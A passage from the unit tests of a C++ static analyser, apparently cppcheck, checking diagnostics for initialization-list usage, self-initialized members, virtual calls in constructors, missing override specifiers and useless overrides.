errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 